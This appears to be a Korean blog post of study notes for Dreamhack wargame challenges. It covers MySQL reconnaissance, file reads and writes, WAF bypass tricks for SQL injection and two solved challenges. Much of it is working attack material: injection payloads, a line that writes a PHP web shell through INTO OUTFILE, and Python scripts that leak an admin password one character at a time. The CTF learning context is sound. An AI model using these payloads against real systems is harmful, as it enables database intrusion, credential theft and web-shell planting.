시스템/DB 정보 획득 방법 (MySQL)
- 데이터베이스 모습 확인
// 초기 DB = information_schema, mysql, performance_schema, sys
// DB와 schema가 동일함
mysql> show databases;
/*
+--------------------+
| Database |
+--------------------+
| information_schema |
| DREAMHACK | # 이용자 정의 데이터베이스
| mysql |
| performance_schema |
| sys |
+--------------------+
*/
- 스키마, 테이블, 컬럼 정보 확인하기
mysql> select TABLE_SCHEMA from information_schema.tables
mysql> select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| DREAMHACK | users | uid |
| DREAMHACK | users | upw |
...
| mysql | db | Db |
| mysql | db | User |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/
- MySQL 버전 확인
mysql> select @@version; # 혹은 select version();
+-------------------------+
| @@version |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
// 이정도만 알아도 black box 상태의 SQL Injection에서 DB 정보를 파악할 수 있을듯
Out of DBMS (MySQL)
- secure_file_priv는 load_file 혹은 outfile을 이용해 파일에 접근 시 접근할 수 있는 경로에 대한 정보 담고 있음
- secure_file_priv = ""이면 모든 경로에 접근 가능, 기본적으로 /var/lib/mysql-files/
mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
- load_file 함수는 인자로 전달된 파일 읽고 출력 가능
mysql> select load_file('/var/lib/mysql-files/test');
+----------------------------------------+
| load_file('/var/lib/mysql-files/test') |
+----------------------------------------+
| test1234 |
+----------------------------------------+
- SELECT ... INTO 와 outfile 을 통해 쿼리 결과를 파일에 쓸 수 있음
mysql> select '<?=`ls`?>' into outfile '/tmp/a.php';
/* <?php include $_GET['page'].'.php'; 이런 웹쉘을 작성해도 되겠지 */
Bypass WAF(Web Application Firewall)
- 대소문자를 이용
UnIoN SeLecT 1,2,3
- '' 치환을 이용
UNunionION SELselectECT 1,2 --
- 문자열 조작 함수 이용: concat, reverse, char
SELECT reverse('nimda'), concat('adm','in'), char(0x61, 0x62);
- 진법을 이용 // 순서대로 'ab', 'ab', 'admin', 'admin'
SELECT 0x6162, 0b110000101100010, x'61646d696e', 0x61646d696e;
- and/or 대신 연산자 이용
select * from user where uid='a' || uid='admin' && substr(upw,1,1)='A';
- 공백 우회 = TAB(%09) 이용, 줄바꿈문자(%0a) 이용, 주석(/**/) 이용, 괄호 이용, 더하기(+) 이용, 백틱 이용
select/**/'abc';
select`username`,(password)from`users`WHERE`username`='admin';
select%09*%09from%9users;
cf) CHAR(255)와 같은 고정형 문자열의 경우 데이터 담기고 남은 공간을 공백 문자로 채움 ('a' = 'a ')
SQL Injection bypass WAF 풀이
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
# 쿼리문
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
- 대소문자 우회 가능
- substr 함수를 써서 한 글자씩 leak 가능
- 공백 우회는 TAB으로 가능
풀이 1 = 리턴되는 행의 두 번째 컬럼에 admin에 upw를 집어넣는다
a'%09UNION%09SELECT%091,(SELECT%09upw%09FROM%09user%09WHERE%09uid='ADMIN'),1;--
* 공백은 %09로 우회, 키워드는 대문자로 우회, 컬럼수 3으로 맞추고 서브쿼리 이용\
풀이 2 = 한글자씩 leak하여 플래그를 구함 (플래그가 숫자, 소문자 영문으로만 이루어졌다고 가정)
import requests, string
url = "http://host3.dreamhack.games:10771/?uid="
charset = string.ascii_lowercase + string.digits + '}'
flag = 'DH{'
while True:
for ch in charset:
payload = "ADMIN'%26%26`upw`like'{flag}%25".format(flag=flag+ch)
if "<pre>admin</pre>" in requests.get(url+payload).text:
flag += ch
print(flag)
break
if flag[-1]=='}':
break
python requests 모듈 이용해서 보낼 때 & 와 % 는 이미 URL에서 특수한 의미로 쓰이므로 URL 인코딩해서 보내야 한다
SQL Injection bypass WAF advanced 풀이
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
- 대소문자 우회 불가능, 따라서 union/select 문법 사용하지 못함 (첫번째 쿼리에서 해결해야 한다)
- 공백 필터링이 더 빡세졌음
- and/or 은 &&, ||로 우회하고 admin은 concat 을 이용해 우회한다
import requests, string
url = "http://host3.dreamhack.games:20053/?uid="
charset = string.ascii_lowercase + string.digits + '}'
flag = 'DH{'
idx = 4
while True:
for ch in charset:
payload = "'||uid=concat('ad','min')%26%26substr(upw,{idx},1)='{ch}';%23".format(idx=idx, ch=ch)
if "<pre>admin</pre>" in requests.get(url+payload).text:
flag += ch
idx += 1
print(flag)
break
if flag[-1]=='}':
break
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드 (0) | 2023.07.15 |
---|---|
[Dreamhack Wargame] NoSQL-CouchDB (0) | 2023.07.15 |
[Dreamhack Wargame] Error Based SQL Injection (0) | 2023.07.14 |
[Dreamhack Wargame] Blind SQL Injection Advanced (1) | 2023.07.14 |
[Dreamhack Wargame] DOM XSS (0) | 2023.07.09 |